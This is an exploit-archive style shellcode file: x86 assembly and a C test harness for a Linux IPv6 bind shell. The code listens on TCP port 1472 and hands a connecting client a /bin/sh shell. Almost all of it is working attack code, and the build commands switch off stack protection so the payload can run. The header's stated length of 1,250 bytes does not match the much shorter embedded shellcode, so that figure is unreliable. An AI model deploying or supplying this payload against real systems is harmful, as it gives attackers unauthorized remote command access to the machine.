// # Title: linux x86 bind tcp 1472 port (ipv6) // # Length : 1,250 bytes // # Author : Roziul Hasan Khan Shifat // # Tested On : kali linux 2.0 and Ubuntu 14.04 LTS // # Contact : shifath12@gmail.com /* section .text global _start _start: xor eax,eax xor ebx,ebx mov al,2 ;fork() int 80h xor ebx,ebx cmp eax,ebx je all xor eax,eax mov al,1 int 80h all: ;;socket() ipv6 push 6 push 1 push 10 xor eax,eax xor ebx,ebx mov al,0x66 inc ebx mov ecx,esp int 0x80 ;socket created mov esi,eax ;storing socket des xor eax,eax ;bind();;; push DWORD eax push DWORD eax push DWORD eax push DWORD eax push eax ;sin6_addr push WORD 0xc005 ;port 1472 push WORD 0x0a ;AF_inet mov ecx,esp push 0x1c push ecx push esi xor ebx,ebx mov bl,2 mov ecx,esp mov al,0x66 int 80h ;;listen xor eax,eax xor ebx,ebx push byte 2 push esi mov ecx,esp mov bl,4 mov al,102 int 80h ;;accept xor ebx,ebx push ebx push ebx push esi mul ebx mov bl,5 mov al,102 mov ecx,esp int 80h ;;close() mov ebx,esi mov esi,eax ;storing client scoket des xor eax,eax mov al,6 int 80h ;dup2(sd,0) xor ecx,ecx mul ecx mov ebx,esi mov al,63 int 80h ;dup2(sd,1) xor eax,eax inc ecx mov ebx,esi mov al,63 int 80h ;dup2(sd,2) xor eax,eax inc ecx mov ebx,esi mov al,63 int 80h ;;execve(/bin//sh) xor edx,edx mul edx push edx ;null terminated /bin//sh push 0x68732f2f push 0x6e69622f mov ebx,esp push edx push ebx mov ecx,esp mov al,11 ;execve() int 0x80 */ /* to compile shellcode $gcc -fno-stack-protector -z execstack shellcode.c -o shellcode $./shellcode */ #include #include char shellcode[]="\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x06\x31\xc0\xb0\x01\xcd\x80\x6a\x06\x6a\x01\x6a\x0a\x31\xc0\x31\xdb\xb0\x66\x43\x89\xe1\xcd\x80\x89\xc6\x31\xc0\x50\x50\x50\x50\x50\x66\x68\x05\xc0\x66\x6a\x0a\x89\xe1\x6a\x1c\x51\x56\x31\xdb\xb3\x02\x89\xe1\xb0\x66\xcd\x80\x31\xc0\x31\xdb\x6a\x02\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xdb\x53\x53\x56\xf7\xe3\xb3\x05\xb0\x66\x89\xe1\xcd\x80\x89\xf3\x89\xc6\x31\xc0\xb0\x06\xcd\x80\x31\xc9\xf7\xe1\x89\xf3\xb0\x3f\xcd\x80\x31\xc0\x41\x89\xf3\xb0\x3f\xcd\x80\x31\xc0\x41\x89\xf3\xb0\x3f\xcd\x80\x31\xd2\xf7\xe2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; main() { printf("shellcode length %ld",(long)strlen(shellcode)); (* (int(*)()) shellcode ) (); }